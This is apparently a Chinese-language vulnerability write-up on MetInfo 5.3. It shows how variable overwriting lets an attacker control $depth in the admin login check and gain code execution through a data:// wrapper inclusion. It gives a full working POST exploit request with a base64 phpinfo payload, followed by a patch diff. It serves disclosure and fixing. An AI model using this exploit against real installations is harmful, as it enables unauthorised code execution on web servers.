文件:admin/login/login_check.php:26行
if($action=="login"){ $metinfo_admin_name = $login_name; $metinfo_admin_pass = $login_pass; $metinfo_admin_pass=md5($metinfo_admin_pass); /*code*/ if($met_login_code==1){ require_once $depth.'../include/captcha.class.php'; $Captcha= new Captcha(); if(!$Captcha->CheckCode($code)){ echo("<script type='text/javascript'>alert('$lang_logincodeerror');location.href='login.php?langset=$langset';</script>"); exit; } }当后台开启登陆校验码的时候$met_login_code会设置成为1
26行就会包含校验码登陆文件。
只要能够控制变量$depth就可以远程文件包含了
$depth变量是在文件'admin/login/login_check.php'开头定义的
error_reporting(E_ERROR | E_WARNING | E_PARSE); if($depth!=''&&$depth!='../'&&$depth!='../../'){die();} if(!isset($depth))$depth=''; $commonpath=$depth.'include/common.inc.php'; $commonpath=$admin_index?$commonpath:'../'.$commonpath; define('SQL_DETECT',1);通过第一次拼接$depth包含了include/common.inc.php
这一步是没有问题的,但是程序猿没有想到,包含了文件common.inc.php之后
可以通过以下代码进行变量覆盖。
文件:include/common.inc.php:35
foreach(array('_GET','_POST','_REQUEST') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1); $_M['form'][$_key] = daddslashes($_value,0,0,1); } }经过上面这段代码我们就可以覆盖掉变量$depth了
如何用require_once来执行代码呢?
可以使用php的封装协议data://配合require_once来进行恶意代码执行。
但是有个问题就是如何去掉
../include/captcha.class.php
这一串拼接在字符后面的字符串的干扰,这一段会干扰我们想要执行的代码。
我用base64解码正常文字会让后面这一串字符变成乱码,并且加上了单行注释符号注释掉乱码。
封装器解码之后代码的样子
<?php phpinfo();exit();// ..)^Z.rVs.php
exp:
POST /admin/login/login_check.php?langset=cn&depth=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw== HTTP/1.1 Host: metinfo5.3 Content-Length: 74 Cache-Control: max-age=0 Origin: http://metinfo5.3 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://metinfo5.3/admin/login/login.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: recordurl=%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252Fcv.php%253Flang%253Dcn%2526selectedjob%253D1%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252F%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252Fcv.php%253Flang%253Dcn%2526selectedjob%253D1; re_url=http%3A%2F%2Fmetinfo5.3%2Fadmin%2F; met_capcha=82c0pAlNmSBbbmmob3xr5%2B8WbveYAdzQ63MRLUWwb15d Connection: close action=login&login_name=123&login_pass=123&code=&Submit=%E7%99%BB%E5%BD%95效果:执行了phpinfo();
提示:因为采用了data://,所以需要php.ini allow_url_include =on
修复方案
diff: 8a9 > $depth_bak = $depth; 10a12 > $depth = $depth_bak;包含include/common.inc.php再次给$depth赋值,防止变量被污染